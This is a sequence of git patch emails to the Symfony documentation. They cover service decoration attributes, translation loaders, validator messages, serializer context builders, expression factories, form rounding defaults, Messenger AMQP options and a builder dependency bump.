From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Thu, 21 Apr 2022 22:53:01 +0200
Subject: [PATCH 3184/7107] [DependencyInjection] Add as decorator and inner
 service

---
 service_container/service_decoration.rst | 87 ++++++++++++++++++++++++
 1 file changed, 87 insertions(+)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 3b369373072..0ef5ed08fc7 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -62,6 +62,20 @@ but keeps a reference of the old one as ``.inner``:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/DecoratingMailer.php
+        namespace App;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+
+        #[AsDecorator(decorates: Mailer::class)]
+        class DecoratingMailer
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -125,6 +139,28 @@ automatically changed to ``'.inner'``):
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/DecoratingMailer.php
+        namespace App;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+
+        #[AsDecorator(decorates: Mailer::class)]
+        class DecoratingMailer
+        {
+            private $inner;
+
+            public function __construct(#[MapDecorated] $inner)
+            {
+                $this->inner = $inner;
+            }
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -249,6 +285,37 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
 .. configuration-block::
 
+        .. code-block:: php-attributes
+
+            // ...
+            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+
+            #[AsDecorator(decorates: Foo::class, priority: 5)]
+            class Bar
+            {
+                private $inner;
+
+                public function __construct(#[MapDecorated] $inner)
+                {
+                    $this->inner = $inner;
+                }
+                // ...
+            }
+
+            #[AsDecorator(decorates: Foo::class, priority: 1)]
+            class Baz
+            {
+                private $inner;
+
+                public function __construct(#[MapDecorated] $inner)
+                {
+                    $this->inner = $inner;
+                }
+
+                // ...
+            }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -324,6 +391,26 @@ Three different behaviors are available:
 
 .. configuration-block::
 
+        .. code-block:: php-attributes
+
+            // ...
+            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+            use Symfony\Component\DependencyInjection\ContainerInterface;
+
+            #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
+            class Bar
+            {
+                private $inner;
+
+                public function __construct(#[MapDecorated] $inner)
+                {
+                    $this->inner = $inner;
+                }
+
+                // ...
+            }
+
     .. code-block:: yaml
 
         # config/services.yaml

From f014bea1480666f6f4c15dd3cd8ac86af4172343 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 14:54:45 +0200
Subject: [PATCH 3185/7107] Add a versionadded directive

---
 service_container/service_decoration.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 0ef5ed08fc7..a3d8b0acd36 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -126,6 +126,10 @@ but keeps a reference of the old one as ``.inner``:
                 ->decorate(Mailer::class);
         };
 
+.. versionadded:: 6.1
+
+    The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
+
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
 service replaces the ``App\Mailer`` service. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,

From 7fa9ced621c83692baf1b67a1a91b8abff0e736f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Apr 2022 16:08:29 +0200
Subject: [PATCH 3186/7107] [Translation] Improve the section about loaders

---
 .doctor-rst.yaml |  2 +-
 translation.rst  | 24 ++++++++++++++++--------
 2 files changed, 17 insertions(+), 9 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f578cb7b737..b5ae65b5fa3 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -11,7 +11,7 @@ rules:
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
-    extension_xlf_instead_of_xliff: ~
+    # extension_xlf_instead_of_xliff: ~
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/translation.rst b/translation.rst
index 72741575376..63819ee6af1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -509,18 +509,22 @@ must be named according to the following path: ``domain.locale.loader``:
   ``php``, ``yaml``, etc).
 
 The loader can be the name of any registered loader. By default, Symfony
-provides many loaders:
+provides many loaders which are selected based on the following file extensions:
 
-* ``.yaml``: YAML file
-* ``.xlf``: XLIFF file;
-* ``.php``: Returning a PHP array;
+* ``.yaml``: YAML file (you can also use the ``.yml`` file extension);
+* ``.xlf``: XLIFF file (you can also use the ``.xliff`` file extension);
+* ``.php``: a PHP file that returns an array with the translations;
 * ``.csv``: CSV file;
 * ``.json``: JSON file;
 * ``.ini``: INI file;
-* ``.dat``, ``.res``: ICU resource bundle;
-* ``.mo``: Machine object format;
-* ``.po``: Portable object format;
-* ``.qt``: QT Translations XML file;
+* ``.dat``, ``.res``: `ICU resource bundle`_;
+* ``.mo``: `Machine object format`_;
+* ``.po``: `Portable object format`_;
+* ``.qt``: `QT Translations TS XML`_ file;
+
+.. versionadded:: 6.1
+
+    The ``.xliff`` file extension support was introduced in Symfony 6.1.
 
 The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
@@ -877,3 +881,7 @@ Learn more
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
+.. _`ICU resource bundle`: https://github.com/unicode-org/icu-docs/blob/main/design/bnf_rb.txt
+.. _`Portable object format`: https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html
+.. _`Machine object format`: https://www.gnu.org/software/gettext/manual/html_node/MO-Files.html
+.. _`QT Translations TS XML`: https://doc.qt.io/qt-5/linguist-ts-file-format.html

From b557833cc15a05f4402caf71c9a4010ebaa1541c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 4 Apr 2022 10:47:13 +0200
Subject: [PATCH 3187/7107] [Validator] Fix of the description of the mime type
 message option

---
 reference/constraints/File.rst                        | 11 +----------
 reference/constraints/Image.rst                       |  7 ++++++-
 .../_parameters-mime-types-message-option.rst.inc     | 10 ++++++++++
 3 files changed, 17 insertions(+), 11 deletions(-)
 create mode 100644 reference/constraints/_parameters-mime-types-message-option.rst.inc

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 1eaed6075d0..3b2ffcb6a14 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -259,16 +259,7 @@ You can find a list of existing mime types on the `IANA website`_.
 The message displayed if the mime type of the file is not a valid mime type
 per the `mimeTypes`_ option.
 
-You can use the following parameters in this message:
-
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ file }}``   Absolute file path
-``{{ name }}``   Base file name
-``{{ type }}``   The MIME type of the given file
-``{{ types }}``  The list of allowed MIME types
-===============  ==============================================================
+.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
 
 ``notFoundMessage``
 ~~~~~~~~~~~~~~~~~~~
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 3beec73cdd1..d2c152fdfe0 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -442,7 +442,12 @@ You can find a list of existing image mime types on the `IANA website`_.
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
+**type**: ``string`` **default**: ``This file is not a valid image.``
+
+The message ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.`` will be displayed 
+if the allowed `mimeTypes`_ are only a subset of ``image/*``.
+
+.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
 
 ``minHeight``
 ~~~~~~~~~~~~~
diff --git a/reference/constraints/_parameters-mime-types-message-option.rst.inc b/reference/constraints/_parameters-mime-types-message-option.rst.inc
new file mode 100644
index 00000000000..0956b77a9c1
--- /dev/null
+++ b/reference/constraints/_parameters-mime-types-message-option.rst.inc
@@ -0,0 +1,10 @@
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ file }}``   Absolute file path
+``{{ name }}``   Base file name
+``{{ type }}``   The MIME type of the given file
+``{{ types }}``  The list of allowed MIME types
+===============  ==============================================================

From 4e9a47ed7b81b9e051ed63f37bacc3e260144e65 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 15:22:20 +0200
Subject: [PATCH 3188/7107] Minor tweak

---
 reference/constraints/Image.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index d2c152fdfe0..ff59cd1ed81 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -444,8 +444,8 @@ You can find a list of existing image mime types on the `IANA website`_.
 
 **type**: ``string`` **default**: ``This file is not a valid image.``
 
-The message ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.`` will be displayed 
-if the allowed `mimeTypes`_ are only a subset of ``image/*``.
+If all the values of the `mimeTypes`_ option are a subset of ``image/*``, the
+error message will be instead: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
 .. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
 

From eea96baf53aa340ef03ace3e41d0df4c38c4f442 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 17:59:53 +0200
Subject: [PATCH 3189/7107] Tweaks and minor rewords

---
 components/serializer.rst              | 13 ++++++++-----
 serializer.rst                         | 20 +++++++++++---------
 serializer/custom_context_builders.rst | 26 ++++++++++++++------------
 3 files changed, 33 insertions(+), 26 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ec0694224ce..4ad51de4d61 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1207,9 +1207,8 @@ Option          Description                                               Defaul
 Context Builders
 ----------------
 
-Context builders are objects that help creating the :ref:`serialization context <serializer-context>`.
-
-You can easily use context builders by instantiating them::
+Instead of passing plain PHP arrays to the :ref:`serialization context <serializer-context>`,
+you can use "context builders" to define the context using a fluent interface::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
     use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
@@ -1228,14 +1227,18 @@ You can easily use context builders by instantiating them::
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
+.. versionadded:: 6.1
+
+    Context builders were introduced in Symfony 6.1.
+
 .. note::
 
     The Serializer component provides a context builder
     for each :ref:`normalizer <component-serializer-normalizers>`
     and :ref:`encoder <component-serializer-encoders>`.
 
-    You can also create custom context builders to deal with your
-    context values. Read more at :doc:`/serializer/custom_context_builders`.
+    You can also :doc:`create custom context builders </serializer/custom_context_builders>`
+    to deal with your context values.
 
 Skipping ``null`` Values
 ------------------------
diff --git a/serializer.rst b/serializer.rst
index c9f42cd2751..ef83500394f 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -156,20 +156,22 @@ configuration:
 Using Context Builders
 ----------------------
 
-To define a proper (de)serialization context, you can leverage context builders.
-Those are objects that help you to create that context by providing
-auto-completion, validation, and documentation::
+.. versionadded:: 6.1
+
+    Context builders were introduced in Symfony 6.1.
+
+To define the (de)serialization context, you can use "context builders", which
+are objects that help you to create that context by providing autocompletion,
+validation, and documentation::
 
     use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
 
     $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
-
     $serializer->serialize($something, 'json', $contextBuilder->toArray());
 
 Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
-To create a full (de)serialization context, you will be able to chain them using the
-``withContext`` method. As the ``withContext`` method takes an array as an argument, it is
-also possible to pass custom values to that context::
+To create a more complex (de)serialization context, you can chain them using the
+``withContext()`` method::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
     use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
@@ -188,8 +190,8 @@ also possible to pass custom values to that context::
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-If you want auto-completion, validation, and documentation for your custom context values,
-you can :doc:`create your context builders </serializer/custom_context_builders>`.
+You can also :doc:`create your context builders </serializer/custom_context_builders>`
+to have autocompletion, validation, and documentation for your custom context values.
 
 .. _serializer-using-serialization-groups-annotations:
 
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 2bf31680968..c451dc9e142 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -4,22 +4,25 @@
 How to Create your Custom Context Builder
 =========================================
 
+.. versionadded:: 6.1
+
+    Context builders were introduced in Symfony 6.1.
+
 The :doc:`Serializer Component </components/serializer>` uses Normalizers
 and Encoders to transform any data to any data-structure (e.g. JSON).
-That serialization process could be configured thanks to a
+That serialization process can be configured thanks to a
 :ref:`serialization context <serializer-context>`, which can be built thanks to
 :ref:`context builders <component-serializer-context-builders>`.
 
-Each built-in normalizer/encoder has its related context builder.
-But, as an example, you may want to use custom context values
-for your :doc:`custom normalizers </serializer/custom_normalizer>`
-and create a custom context builder related to them.
+Each built-in normalizer/encoder has its related context builder. However, you
+may want to create a custom context builder for your
+:doc:`custom normalizers </serializer/custom_normalizer>`.
 
-Creating a new context builder
+Creating a new Context Builder
 ------------------------------
 
 Let's imagine that you want to handle date denormalization differently if they
-are coming from a legacy system, by converting them to ``null`` if the serialized
+are coming from a legacy system, by converting dates to ``null`` if the serialized
 value is ``0000-00-00``. To do that you'll first have to create your normalizer::
 
     // src/Serializer/ZeroDateTimeDenormalizer.php
@@ -51,14 +54,13 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
         }
     }
 
-You'll therefore be able to cast zero-ish dates to ``null`` during denormalization::
+Now you can cast zero-ish dates to ``null`` during denormalization::
 
     $legacyData = '{"updatedAt": "0000-00-00"}';
-
     $serializer->deserialize($legacyData, MyModel::class, 'json', ['zero_datetime_to_null' => true]);
 
-Then, if you don't want other developers to have to remind the precise ``zero_date_to_null`` context key,
-you can create a dedicated context builder::
+Now, to avoid having to remember about this specific ``zero_date_to_null``
+context key, you can create a dedicated context builder::
 
     // src/Serializer/LegacyContextBuilder
     namespace App\Serializer;
@@ -75,7 +77,7 @@ you can create a dedicated context builder::
         }
     }
 
-And finally use it to build the serialization context::
+And finally, use it to build the serialization context::
 
     $legacyData = '{"updatedAt": "0000-00-00"}';
 

From be1bd78bc00b5f4bcf40f11a7b3cf791cac06ab3 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Tue, 26 Apr 2022 20:45:50 +0200
Subject: [PATCH 3190/7107] [Serializer] Skip calling
 `ContextBuilder::toArray()` when possible

---
 components/serializer.rst              | 2 +-
 serializer.rst                         | 2 +-
 serializer/custom_context_builders.rst | 3 ++-
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 4ad51de4d61..27d08f79ec3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1222,7 +1222,7 @@ you can use "context builders" to define the context using a fluent interface::
         ->withGroups(['group1', 'group2']);
 
     $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder->toArray())
+        ->withContext($contextBuilder)
         ->withDelimiter(';');
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
diff --git a/serializer.rst b/serializer.rst
index ef83500394f..0bad41412ee 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -185,7 +185,7 @@ To create a more complex (de)serialization context, you can chain them using the
         ->withGroups(['group1', 'group2']);
 
     $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder->toArray())
+        ->withContext($contextBuilder)
         ->withDelimiter(';');
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index c451dc9e142..6c083078301 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -65,9 +65,10 @@ context key, you can create a dedicated context builder::
     // src/Serializer/LegacyContextBuilder
     namespace App\Serializer;
 
+    use Symfony\Component\Serializer\Context\ContextBuilderInterface;
     use Symfony\Component\Serializer\Context\ContextBuilderTrait;
 
-    final class LegacyContextBuilder
+    final class LegacyContextBuilder implements ContextBuilderInterface
     {
         use ContextBuilderTrait;
 

From 9fa967eca837b89dd2798d12ac3f168ddc1af517 Mon Sep 17 00:00:00 2001
From: Jonathan Johnson <jon.johnson@ucsf.edu>
Date: Tue, 26 Apr 2022 21:03:32 -0700
Subject: [PATCH 3191/7107] Update Length Validator Empty String Docs

Empty strings are no longer valid if a min is passed, null values still
validate.
---
 reference/constraints/Length.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index c9569a7227d..140f804092e 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -113,7 +113,7 @@ and ``50``, you might add the following:
             }
         }
 
-.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
 
 Options
 -------
@@ -199,9 +199,9 @@ the given value's length is **less** than this min value.
 
 This option is required when the ``max`` option is not defined.
 
-It is important to notice that NULL values and empty strings are considered
-valid no matter if the constraint required a minimum length. Validators
-are triggered only if the value is not blank.
+It is important to notice that ``null`` values are considered
+valid no matter if the constraint requires a minimum length. Validators
+are triggered only if the value is not ``null``.
 
 ``minMessage``
 ~~~~~~~~~~~~~~

From f8fc3d60b47bcf0ed34def8d80fb488660ac4bd8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Vasseur?= <jerome.vasseur@thetribe.io>
Date: Wed, 16 Feb 2022 12:57:36 +0100
Subject: [PATCH 3192/7107] Add documentation for using expressions as service
 factories

---
 service_container/expression_language.rst | 51 +++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 972d7286c88..a9d5705c5b9 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -125,3 +125,54 @@ via a ``container`` variable. Here's another example:
 
 Expressions can be used in ``arguments``, ``properties``, as arguments with
 ``configurator`` and as arguments to ``calls`` (method calls).
+
+You can also use expressions as service factories:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Mailer:
+                factory: "@=parameter('some_param') ? service('some_service') : arg(0)"
+                arguments:
+                    - '@some_other_service'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Mailer">
+                    <factory expression="parameter('some_param') ? service('some_service') : arg(0)"/>
+                    <argument type="service" id="some_other_service"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Mailer;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(Mailer::class)
+                ->factory(expr("parameter('some_param') ? service('some_service') : arg(0)"))
+                ->args([service('some_other_service')]);
+        };
+
+In this context, you have access to the ``arg`` function that allows getting the value of arguments passed to the factory.
+
+.. versionadded:: 6.1
+
+    Using expressions as factories was introduced in Symfony 6.1.

From f7318bba58ed9281d8c24551d889d7c86aa731e1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20FUCHS?= <sebastienfuchs@tousvoisins.fr>
Date: Wed, 27 Apr 2022 14:58:41 +0200
Subject: [PATCH 3193/7107] [Form] [Forms] rounding default const up to down

---
 reference/forms/types/options/rounding_mode.rst.inc | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 525f5d99cdf..84069894723 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -1,7 +1,14 @@
 rounding_mode
 ~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
+**type**: ``integer``
+
+* IntegerType
+**default**: ``\NumberFormatter::ROUND_DOWN``
+
+* MoneyType and NumberType
+**default**: ``\NumberFormatter::ROUND_HALF_UP``
+
 
 If a submitted number needs to be rounded (based on the `scale`_ option), you
 have several configurable options for that rounding. Each option is a constant

From 274438d0a4bc024f1709fb6fff377ad71726b3ed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Apr 2022 16:38:47 +0200
Subject: [PATCH 3194/7107] Minor tweak

---
 reference/forms/types/options/rounding_mode.rst.inc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 84069894723..53403056585 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -1,7 +1,8 @@
 rounding_mode
 ~~~~~~~~~~~~~
 
-**type**: ``integer``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN`` for ``IntegerType``
+and ``\NumberFormatter::ROUND_HALF_UP`` for ``MoneyType`` and ``NumberType``
 
 * IntegerType
 **default**: ``\NumberFormatter::ROUND_DOWN``

From 05c68eb5aca38adf605f287954b15528a180d1e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Apr 2022 17:32:24 +0200
Subject: [PATCH 3195/7107] Minor tweaks

---
 controller/argument_value_resolver.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 18e79233a82..9d17e1813c1 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -61,12 +61,12 @@ Symfony ships with the following value resolvers in the
 
         class CardController
         {
-            #[Route(
-                '/cards/{suit}',
-                requirements: [
-                    'suit' => new EnumRequirement(Suit::class, Suit::Diamonds, Suit::Spades),
-                ],
-            )]
+            #[Route('/cards/{suit}', requirements: [
+                // this allows all values defined in the Enum
+                'suit' => new EnumRequirement(Suit::class),
+                // this restricts the possible values to the Enum values listed here
+                'suit' => new EnumRequirement([Suit::class, Suit::Diamonds, Suit::Spades]),
+            ])]
             public function list(Suit $suit): Response
             {
                 // ...

From 215b6a681b8f1de5237ac7e6c174c52451c35395 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 17:25:00 +0100
Subject: [PATCH 3196/7107] Document connection_name in Messenger AMQP
 transport connection

Close https://github.com/symfony/symfony-docs/issues/16523
---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index a16eba95ab2..84493f1d471 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1196,6 +1196,8 @@ The transport has a number of options:
                                               greater seconds. May be fractional.
 ``retry``
 ``sasl_method``
+``connection_name``                           For custom connection names (requires at least
+                                              version 1.10 of the PHP AMQP extension)
 ``user``                                      Username to use to connect the AMQP service
 ``verify``                                    Enable or disable peer verification. If peer
                                               verification is enabled then the common name in
@@ -1220,6 +1222,10 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. versionadded:: 6.1
+
+    The ``connection_name`` option was introduced in Symfony 6.1.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From f17b78c6f383883266b03e48af7dc7bb77ccacb0 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:43:00 +0200
Subject: [PATCH 3197/7107] Remove undefined refs

---
 contributing/code/standards.rst    | 2 +-
 frontend/encore/simple-example.rst | 2 +-
 reference/forms/types/map.rst.inc  | 4 ++--
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index bcf10eb3196..134da5c1196 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -210,7 +210,7 @@ Naming Conventions
 * Use `snake_case`_ for configuration parameters and Twig template variables
   (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
-* Use `SCREAMING_SNAKE_CASE`_ for constants (e.g. ``InputArgument::IS_ARRAY``);
+* Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``);
 
 * Use `UpperCamelCase`_ for enumeration cases (e.g. ``InputArgumentMode::IsArray``);
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 349a4bbbd1e..21a3bad9093 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -214,7 +214,7 @@ As simple as the above example is, instead of building your application inside o
 ``app.js``, we recommend `Stimulus`_: a small JavaScript framework that makes it
 easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
 even provides packages to add more features to Stimulus. These are called the
-`Symfony UX Packages`_.
+Symfony UX Packages.
 
 If you followed the setup instructions, you should already have Stimulus installed
 and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index c90c6430e70..9b47a1caaf5 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -56,8 +56,8 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 UID Fields
 ~~~~~~~~~~
 
-* :doc:`UuidType </reference/forms/types/uuid>`
-* :doc:`UlidType </reference/forms/types/ulid>`
+* UuidType
+* UlidType
 
 Field Groups
 ~~~~~~~~~~~~

From 92239688566ebc7b04a74efd956dbcfe58fe06b8 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 1 May 2022 03:46:11 +0200
Subject: [PATCH 3198/7107] Bump deps of the builder

---
 _build/composer.lock | 413 ++++++++++++++++++++++---------------------
 1 file changed, 216 insertions(+), 197 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index 4f77182d8c4..503bfab012b 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -102,25 +102,25 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.4.4",
+            "version": "0.5.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203"
+                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/73992ea579f6bfcb0697e4df29499c48b7542203",
-                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
+                "reference": "3b914d5eb8f6a91afc7462ea7794b0e05b884a35",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
                 "php": "^7.2 || ^8.0",
-                "symfony/filesystem": "^4.1 || ^5.0",
-                "symfony/finder": "^4.1 || ^5.0",
+                "symfony/filesystem": "^4.1 || ^5.0 || ^6.0",
+                "symfony/finder": "^4.1 || ^5.0 || ^6.0",
                 "symfony/polyfill-mbstring": "^1.0",
-                "symfony/string": "^5.3",
+                "symfony/string": "^5.3 || ^6.0",
                 "symfony/translation-contracts": "^1.1 || ^2.0",
                 "twig/twig": "^2.9 || ^3.3"
             },
@@ -132,8 +132,8 @@
                 "phpstan/phpstan-phpunit": "^0.12",
                 "phpstan/phpstan-strict-rules": "^0.12",
                 "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
-                "symfony/css-selector": "4.4 || ^5.2",
-                "symfony/dom-crawler": "4.4 || ^5.2"
+                "symfony/css-selector": "4.4 || ^5.2 || ^6.0",
+                "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0"
             },
             "type": "library",
             "autoload": {
@@ -169,26 +169,26 @@
             ],
             "support": {
